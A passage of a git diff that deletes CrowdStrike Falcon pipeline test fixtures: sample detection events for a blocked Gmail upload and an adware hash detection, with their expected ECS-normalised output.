Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressEventId":"180d01b9b65811f0a9f0c0892b3c995e","Policy":{"ID":"a6e6792845654b69a8a89e793421b77a","Name":"Data Protection Policy"},"MatchedClassification":{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"},"RelatedClassifications":[{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"}],"UserNotified":true,"ResponseAction":"blocked","RuleId":"7d81198e7da846b2a664afccc7f5d9e4","IsClipboard":false,"ContentPatterns":[{"ID":"4392b1416c974a488c31fbc4c97e89f6","Name":"Credentials","ConfidenceLevel":3,"MatchCount":1}],"ContentSha":"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08","Filename":"sensitive_123.txt","FileType":{"Type":{"ID":"48a7eca83afa42a78cf12b8f2f877eec","Name":"Plain Text","Description":"Plain Text (txt) File","CategoryID":"4689d0386bdd4e2e9423a0fc19dcaccb","CategoryName":"Document"}},"EventTimestamp":1761915027}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json deleted file mode 100644 index c3a5e40937..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json +++ /dev/null @@ -1,247 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2025-10-31T07:23:00.000Z", - "crowdstrike": { - "event": { - "AgentId": "5d77282ab4fxxxxxxxxxx65784cfa8f0", - "CompositeId": "2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e", - "Destination": { - "Channel": "web" - }, - "DetectionType": "rule-based", - "EgressSessionId": "abc", - "FilesEgressedCount": 12, - "MitreAttack": [ - { - "Tactic": "Exfiltration", - "TacticID": "TA0010", - "Technique": "Exfiltration Over Web Service", - "TechniqueID": "T1567" - } - ], - "PatternId": "80005", - "Severity": 90, - "SeverityName": "Critical", - "UserMapped": true - }, - "metadata": { - "customerIDString": "2cc98db1a4xxxxxxxxxxc94d43bfab70", - "eventType": "DataProtectionDetectionSummaryEvent", - "offset": 689071490, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Test attempted to be uploaded to Google Gmail", - "category": [ - "malware" - ], - "created": "2025-10-31T07:23:00.000Z", - "duration": 0, - "end": "2025-10-31T12:50:27.000Z", - "kind": "alert", - "original": "{\"metadata\":{\"customerIDString\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70\",\"offset\":689071490,\"eventType\":\"DataProtectionDetectionSummaryEvent\",\"eventCreationTime\":1761895380000,\"version\":\"1.0\"},\"event\":{\"AgentId\":\"5d77282ab4fxxxxxxxxxx65784cfa8f0\",\"CompositeId\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e\",\"Name\":\"Test attempted to be uploaded to Google Gmail\",\"Description\":\"Bob attempted to upload sensitive_123.txt to Google Gmail\",\"Tactic\":\"Exfiltration\",\"TacticId\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueId\":\"T1567\",\"Severity\":90,\"SeverityName\":\"Critical\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq\",\"Destination\":{\"Channel\":\"web\"},\"UserName\":\"Bob\",\"UserSid\":\"S-1-5-21-2123450692-2512345670-1234574870-1234\",\"Hostname\":\"DESKTOP-OM905R2\",\"PatternId\":80005,\"DataVolume\":39,\"DetectionType\":\"rule-based\",\"Platform\":\"Windows\",\"MitreAttack\":[{\"Tactic\":\"Exfiltration\",\"TacticID\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueID\":\"T1567\"}],\"EgressSessionId\":\"abc\",\"SessionStartTimestamp\":1761915027,\"SessionEndTimestamp\":1761915027,\"UserMapped\":true,\"FilesEgressedCount\":12}}", - "outcome": "unknown", - "reference": "https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq", - "severity": 99, - "start": "2025-10-31T12:50:27.000Z", - "type": [ - "info" - ] - }, - "file": { - "size": 39 - }, - "host": { - "name": "DESKTOP-OM905R2", - "os": { - "platform": "windows" - } - }, - "message": "Bob attempted to upload sensitive_123.txt to Google Gmail", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hosts": [ - "DESKTOP-OM905R2" - ], - "user": [ - "Bob" - ] - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "MITRE ATT&CK", - "tactic": { - "id": [ - "TA0010" - ], - "name": [ - "Exfiltration" - ] - }, - "technique": { - "id": [ - "T1567" - ], - "name": [ - "Exfiltration Over Web Service" - ] - } - }, - "user": { - "id": "S-1-5-21-2123450692-2512345670-1234574870-1234", - "name": "Bob" - } - }, - { - "@timestamp": "2025-10-31T07:23:00.000Z", - "crowdstrike": { - "event": { - "AgentId": "5d77282ab4fxxxxxxxxxx65784cfa8f0", - "CompositeId": "2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e", - "ContentPatterns": [ - { - "ConfidenceLevel": 3, - "ID": "4392b1416c974a488c31fbc4c97e89f6", - "MatchCount": 1, - "Name": "Credentials" - } - ], - "Destination": { - "Channel": "web" - }, - "DetectionType": "rule-based", - "EventTimestamp": "2025-10-31T12:50:27.000Z", - "FileType": { - "Type": { - "CategoryID": "4689d0386bdd4e2e9423a0fc19dcaccb", - "CategoryName": "Document", - "Description": "Plain Text (txt) File", - "ID": "48a7eca83afa42a78cf12b8f2f877eec", - "Name": "Plain Text" - } - }, - "IsClipboard": false, - "MatchedClassification": { - "ID": "8318b19065af48fa839f9259022e5e0a", - "Name": "Test" - }, - "MitreAttack": [ - { - "Tactic": "Exfiltration", - "TacticID": "TA0010", - "Technique": "Exfiltration Over Web Service", - "TechniqueID": "T1567" - } - ], - "PatternId": "80005", - "RelatedClassifications": [ - { - "ID": "8318b19065af48fa839f9259022e5e0a", - "Name": "Test" - } - ], - "ResponseAction": "blocked", - "RuleId": "7d81198e7da846b2a664afccc7f5d9e4", - "Severity": 90, - "SeverityName": "Critical", - "UserNotified": true - }, - "metadata": { - "customerIDString": "2cc98db1a4xxxxxxxxxxc94d43bfab70", - "eventType": "DataProtectionDetectionSummaryEvent", - "offset": 689071490, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Test attempted to be uploaded to Google Gmail", - "category": [ - "malware" - ], - "created": "2025-10-31T07:23:00.000Z", - "id": "180d01b9b65811f0a9f0c0892b3c995e", - "kind": "alert", - "original": "{\"metadata\":{\"customerIDString\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70\",\"offset\":689071490,\"eventType\":\"DataProtectionDetectionSummaryEvent\",\"eventCreationTime\":1761895380000,\"version\":\"1.0\"},\"event\":{\"AgentId\":\"5d77282ab4fxxxxxxxxxx65784cfa8f0\",\"CompositeId\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e\",\"Name\":\"Test attempted to be uploaded to Google Gmail\",\"Description\":\"Bob attempted to upload sensitive_123.txt to Google Gmail\",\"Tactic\":\"Exfiltration\",\"TacticId\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueId\":\"T1567\",\"Severity\":90,\"SeverityName\":\"Critical\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq\",\"Destination\":{\"Channel\":\"web\"},\"UserName\":\"Bob\",\"UserSid\":\"S-1-5-21-2123450692-2512345670-1234574870-1234\",\"Hostname\":\"DESKTOP-OM905R2\",\"PatternId\":80005,\"DataVolume\":39,\"DetectionType\":\"rule-based\",\"Platform\":\"Windows\",\"MitreAttack\":[{\"Tactic\":\"Exfiltration\",\"TacticID\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueID\":\"T1567\"}],\"EgressEventId\":\"180d01b9b65811f0a9f0c0892b3c995e\",\"Policy\":{\"ID\":\"a6e6792845654b69a8a89e793421b77a\",\"Name\":\"Data Protection Policy\"},\"MatchedClassification\":{\"ID\":\"8318b19065af48fa839f9259022e5e0a\",\"Name\":\"Test\"},\"RelatedClassifications\":[{\"ID\":\"8318b19065af48fa839f9259022e5e0a\",\"Name\":\"Test\"}],\"UserNotified\":true,\"ResponseAction\":\"blocked\",\"RuleId\":\"7d81198e7da846b2a664afccc7f5d9e4\",\"IsClipboard\":false,\"ContentPatterns\":[{\"ID\":\"4392b1416c974a488c31fbc4c97e89f6\",\"Name\":\"Credentials\",\"ConfidenceLevel\":3,\"MatchCount\":1}],\"ContentSha\":\"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08\",\"Filename\":\"sensitive_123.txt\",\"FileType\":{\"Type\":{\"ID\":\"48a7eca83afa42a78cf12b8f2f877eec\",\"Name\":\"Plain Text\",\"Description\":\"Plain Text (txt) File\",\"CategoryID\":\"4689d0386bdd4e2e9423a0fc19dcaccb\",\"CategoryName\":\"Document\"}},\"EventTimestamp\":1761915027}}", - "outcome": "failure", - "reference": "https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq", - "severity": 99, - "type": [ - "info" - ] - }, - "file": { - "extension": "txt", - "hash": { - "sha256": "21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08" - }, - "name": "sensitive_123.txt", - "size": 39 - }, - "host": { - "name": "DESKTOP-OM905R2", - "os": { - "platform": "windows" - } - }, - "message": "Bob attempted to upload sensitive_123.txt to Google Gmail", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "hash": [ - "21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08" - ], - "hosts": [ - "DESKTOP-OM905R2" - ], - "user": [ - "Bob" - ] - }, - "rule": { - "id": "a6e6792845654b69a8a89e793421b77a", - "name": "Data Protection Policy" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "MITRE ATT&CK", - "tactic": { - "id": [ - "TA0010" - ], - "name": [ - "Exfiltration" - ] - }, - "technique": { - "id": [ - "T1567" - ], - "name": [ - "Exfiltration Over Web Service" - ] - } - }, - "user": { - "id": "S-1-5-21-2123450692-2512345670-1234574870-1234", - "name": "Bob" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log deleted file mode 100644 index a2b9028cc9..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log +++ /dev/null @@ -1,197 +0,0 @@ -{ - "metadata": { - "customerIDString": "123123abcd", - "offset": 1, - "eventType": "DetectionSummaryEvent", - "eventCreationTime": 1686845212400, - "version": "1.0" - }, - "event": { - "ProcessStartTime": 1686845212400, - "ProcessEndTime": 0, - "ProcessId": 123123, - "ParentProcessId": 321321, - "ComputerName": "ELASTICHOST", - "UserName": "ELASTICUSER", - "DetectName": "NGAV", - "DetectDescription": "This file is classified as Adware/PUP based on its SHA256 hash.", - "Severity": 2, - "SeverityName": "Low", - "FileName": "TESTFILE.exe", - "FilePath": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE", - "CommandLine": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding", - "SHA256String": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", - "MD5String": "49f30e09200e7b59edc5ef32fbd0442c", - "SHA1String": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b", - "MachineDomain": "INTERNAL", - "NetworkAccesses": [ - { - "AccessType": 0, - "AccessTimestamp": 1686845157, - "Protocol": "TCP", - "LocalAddress": "10.0.0.1", - "LocalPort": 53517, - "RemoteAddress": "67.43.156.1", - "RemotePort": 443, - "ConnectionDirection": 0, - "IsIPV6": false - }, - { - "AccessType": 0, - "AccessTimestamp": 1686845158, - "Protocol": "TCP", - "LocalAddress": "10.0.0.2", - "LocalPort": 53518, - "RemoteAddress": "67.43.156.1", - "RemotePort": 80, - "ConnectionDirection": 0, - "IsIPV6": false - } - ], - "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID", - "SensorId": "sensorid123", - "IOCType": "hash_sha256", - "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", - "DetectId": "detect::id::test", - "LocalIP": "89.160.20.112", - "MACAddress": "1c-2d-b3-4a-56-7e", - "Tactic": "Malware", - "Technique": "PUP", - "Objective": "Falcon Detection Method", - "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.", - "PatternDispositionValue": 2304, - "PatternDispositionFlags": { - "Indicator": false, - "Detect": false, - "InddetMask": false, - "SensorOnly": false, - "Rooting": false, - "KillProcess": false, - "KillSubProcess": false, - "QuarantineMachine": false, - "QuarantineFile": false, - "PolicyDisabled": true, - "KillParent": false, - "OperationBlocked": false, - "ProcessBlocked": true, - "RegistryOperationBlocked": false, - "CriticalProcessDisabled": false, - "BootupSafeguardEnabled": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "KillActionFailed": false, - "BlockingUnsupportedOrDisabled": false, - "SuspendProcess": false, - "SuspendParent": false - }, - "ParentImageFileName": "", - "ParentCommandLine": "", - "GrandparentImageFileName": "", - "GrandparentCommandLine": "", - "HostGroups": "hostgroupsID", - "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe", - "PatternId": 5728 - } -} -{ - "metadata": { - "customerIDString": "123123abcd", - "offset": 1, - "eventType": "DetectionSummaryEvent", - "eventCreationTime": 1686845212400, - "version": "1.0" - }, - "event": { - "ProcessStartTime": 1686845212400, - "ProcessEndTime": 0, - "ProcessId": 123123, - "ParentProcessId": 321321, - "ComputerName": "ELASTICHOST", - "UserName": "ELASTICUSER", - "DetectName": "NGAV", - "DetectDescription": "This file is classified as Adware/PUP based on its SHA256 hash.", - "Severity": 2, - "SeverityName": "Low", - "FileName": "TESTFILE.exe", - "FilePath": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE", - "CommandLine": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding", - "SHA256String": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", - "MD5String": "49f30e09200e7b59edc5ef32fbd0442c", - "SHA1String": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b", - "MachineDomain": "INTERNAL", - "NetworkAccesses": [ - { - "AccessType": 0, - "AccessTimestamp": 1686845157, - "Protocol": "TCP", - "LocalAddress": "10.0.0.1", - "LocalPort": 53517, - "RemoteAddress": "67.43.156.1", - "RemotePort": 443, - "ConnectionDirection": 0, - "IsIPV6": false - }, - { - "AccessType": 0, - "AccessTimestamp": 1686845158, - "Protocol": "TCP", - "LocalAddress": "10.0.0.2", - "LocalPort": 53518, - "RemoteAddress": "67.43.156.1", - "RemotePort": 80, - "ConnectionDirection": 0, - "IsIPV6": false - } - ], - "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID", - "SensorId": "sensorid123", - "IOCType": "hash_sha256", - "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", - "DetectId": "detect::id::test", - "LocalIP": "89.160.20.112", - "MACAddress": "1c-2d-b3-4a-56-7e", - "Tactic": "Malware", - "Technique": "PUP", - "Objective": "Falcon Detection Method", - "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.", - "PatternDispositionValue": 2304, - "PatternDispositionFlags": { - "Indicator": false, - "Detect": false, - "InddetMask": false, - "SensorOnly": false, - "Rooting": false, - "KillProcess": false, - "KillSubProcess": false, - "QuarantineMachine": false, - "QuarantineFile": false, - "PolicyDisabled": true, - "KillParent": false, - "OperationBlocked": false, - "ProcessBlocked": true, - "RegistryOperationBlocked": false, - "CriticalProcessDisabled": false, - "BootupSafeguardEnabled": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "KillActionFailed": false, - "BlockingUnsupportedOrDisabled": false, - "SuspendProcess": false, - "SuspendParent": false - }, - "ParentImageFileName": "", - "ParentCommandLine": "", - "GrandparentImageFileName": "", - "GrandparentCommandLine": "", - "HostGroups": "hostgroupsID", - "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe", - "PatternId": 5728, - "MitreAttack": [ - { - "Tactic": "Malware", - "Technique": "PUP", - "PatternID": 5728 - } - ] - } -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json deleted file mode 100644 index b65e20b211..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json +++ /dev/null @@ -1,383 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2023-06-15T16:06:52.400Z", - "crowdstrike": { - "event": { - "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe", - "HostGroups": [ - "hostgroupsID" - ], - "IOCType": "hash_sha256", - "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", - "MACAddress": "1c-2d-b3-4a-56-7e", - "NetworkAccesses": [ - { - "AccessTimestamp": 1686845157, - "AccessType": 0, - "ConnectionDirection": 0, - "IsIPV6": false, - "LocalAddress": "10.0.0.1", - "LocalPort": 53517, - "Protocol": "TCP", - "RemoteAddress": "67.43.156.1", - "RemotePort": 443 - }, - { - "AccessTimestamp": 1686845158, - "AccessType": 0, - "ConnectionDirection": 0, - "IsIPV6": false, - "LocalAddress": "10.0.0.2", - "LocalPort": 53518, - "Protocol": "TCP", - "RemoteAddress": "67.43.156.1", - "RemotePort": 80 - } - ], - "Objective": "Falcon Detection Method", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": true, - "ProcessBlocked": true, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 2304, - "PatternId": "5728", - "SensorId": "sensorid123", - "Severity": 2, - "SeverityName": "Low" - }, - "metadata": { - "customerIDString": "123123abcd", - "eventType": "DetectionSummaryEvent", - "offset": 1, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection, process would have been blocked if related prevention policy setting was enabled.", - "category": [ - "malware" - ], - "created": "2023-06-15T16:06:52.400Z", - "kind": "alert", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"123123abcd\",\n \"offset\": 1,\n \"eventType\": \"DetectionSummaryEvent\",\n \"eventCreationTime\": 1686845212400,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"ProcessStartTime\": 1686845212400,\n \"ProcessEndTime\": 0,\n \"ProcessId\": 123123,\n \"ParentProcessId\": 321321,\n \"ComputerName\": \"ELASTICHOST\",\n \"UserName\": \"ELASTICUSER\",\n \"DetectName\": \"NGAV\",\n \"DetectDescription\": \"This file is classified as Adware/PUP based on its SHA256 hash.\",\n \"Severity\": 2,\n \"SeverityName\": \"Low\",\n \"FileName\": \"TESTFILE.exe\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\ELASTICUSER\\\\Software\\\\TESTSOFTWARE\",\n \"CommandLine\": \"\\\"C:\\\\Users\\\\TESTUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\\\" -Embedding\",\n \"SHA256String\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n \"MD5String\": \"49f30e09200e7b59edc5ef32fbd0442c\",\n \"SHA1String\": \"7e54a24d4df5b7fe4a75d7ce1c027705c368666b\",\n \"MachineDomain\": \"INTERNAL\",\n \"NetworkAccesses\": [\n {\n \"AccessType\": 0,\n \"AccessTimestamp\": 1686845157,\n \"Protocol\": \"TCP\",\n \"LocalAddress\": \"10.0.0.1\",\n \"LocalPort\": 53517,\n \"RemoteAddress\": \"67.43.156.1\",\n \"RemotePort\": 443,\n \"ConnectionDirection\": 0,\n \"IsIPV6\": false\n },\n {\n \"AccessType\": 0,\n \"AccessTimestamp\": 1686845158,\n \"Protocol\": \"TCP\",\n \"LocalAddress\": \"10.0.0.2\",\n \"LocalPort\": 53518,\n \"RemoteAddress\": \"67.43.156.1\",\n \"RemotePort\": 80,\n \"ConnectionDirection\": 0,\n \"IsIPV6\": false\n }\n ],\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID\",\n \"SensorId\": \"sensorid123\",\n \"IOCType\": \"hash_sha256\",\n \"IOCValue\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n \"DetectId\": \"detect::id::test\",\n \"LocalIP\": \"89.160.20.112\",\n \"MACAddress\": \"1c-2d-b3-4a-56-7e\",\n \"Tactic\": \"Malware\",\n \"Technique\": \"PUP\",\n \"Objective\": \"Falcon Detection Method\",\n \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n \"PatternDispositionValue\": 2304,\n \"PatternDispositionFlags\": {\n \"Indicator\": false,\n \"Detect\": false,\n \"InddetMask\": false,\n \"SensorOnly\": false,\n \"Rooting\": false,\n \"KillProcess\": false,\n \"KillSubProcess\": false,\n \"QuarantineMachine\": false,\n \"QuarantineFile\": false,\n \"PolicyDisabled\": true,\n \"KillParent\": false,\n \"OperationBlocked\": false,\n \"ProcessBlocked\": true,\n \"RegistryOperationBlocked\": false,\n \"CriticalProcessDisabled\": false,\n \"BootupSafeguardEnabled\": false,\n \"FsOperationBlocked\": false,\n \"HandleOperationDowngraded\": false,\n \"KillActionFailed\": false,\n \"BlockingUnsupportedOrDisabled\": false,\n \"SuspendProcess\": false,\n \"SuspendParent\": false\n },\n \"ParentImageFileName\": \"\",\n \"ParentCommandLine\": \"\",\n \"GrandparentImageFileName\": \"\",\n \"GrandparentCommandLine\": \"\",\n \"HostGroups\": \"hostgroupsID\",\n \"AssociatedFile\": \"\\\\Device\\\\HarddiskVolume3\\\\TESTUSER\\\\TESTELASTICUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\",\n \"PatternId\": 5728\n }\n}", - "reference": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "49f30e09200e7b59edc5ef32fbd0442c", - "sha1": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b", - "sha256": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2" - }, - "name": "TESTFILE.exe", - "path": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE" - }, - "host": { - "domain": "INTERNAL", - "name": "ELASTICHOST" - }, - "message": "This file is classified as Adware/PUP based on its SHA256 hash.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"", - "-Embedding" - ], - "command_line": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding", - "entity_id": "123123", - "executable": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"", - "name": "TESTFILE.exe", - "parent": { - "entity_id": "321321", - "pid": 321321 - }, - "pid": 123123, - "start": "2023-06-15T16:06:52.400Z" - }, - "related": { - "hash": [ - "7e54a24d4df5b7fe4a75d7ce1c027705c368666b", - "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", - "49f30e09200e7b59edc5ef32fbd0442c" - ], - "hosts": [ - "ELASTICHOST" - ], - "ip": [ - "89.160.20.112" - ], - "user": [ - "ELASTICUSER" - ] - }, - "rule": { - "description": "This file is classified as Adware/PUP based on its SHA256 hash.", - "id": "detect::id::test", - "name": "NGAV" - }, - "source": { - "as": { - "number": 29518, - "organization": { - "name": "Bredband2 AB" - } - }, - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": "89.160.20.112" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Malware" - ] - }, - "technique": { - "name": [ - "PUP" - ] - } - }, - "user": { - "name": "ELASTICUSER" - } - }, - { - "@timestamp": "2023-06-15T16:06:52.400Z", - "crowdstrike": { - "event": { - "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe", - "HostGroups": [ - "hostgroupsID" - ], - "IOCType": "hash_sha256", - "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", - "MACAddress": "1c-2d-b3-4a-56-7e", - "MitreAttack": [ - { - "PatternID": "5728", - "Tactic": "Malware", - "Technique": "PUP" - } - ], - "NetworkAccesses": [ - { - "AccessTimestamp": 1686845157, - "AccessType": 0, - "ConnectionDirection": 0, - "IsIPV6": false, - "LocalAddress": "10.0.0.1", - "LocalPort": 53517, - "Protocol": "TCP", - "RemoteAddress": "67.43.156.1", - "RemotePort": 443 - }, - { - "AccessTimestamp": 1686845158, - "AccessType": 0, - "ConnectionDirection": 0, - "IsIPV6": false, - "LocalAddress": "10.0.0.2", - "LocalPort": 53518, - "Protocol": "TCP", - "RemoteAddress": "67.43.156.1", - "RemotePort": 80 - } - ], - "Objective": "Falcon Detection Method", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": true, - "ProcessBlocked": true, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 2304, - "PatternId": "5728", - "SensorId": "sensorid123", - "Severity": 2, - "SeverityName": "Low" - }, - "metadata": { - "customerIDString": "123123abcd", - "eventType": "DetectionSummaryEvent", - "offset": 1, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - 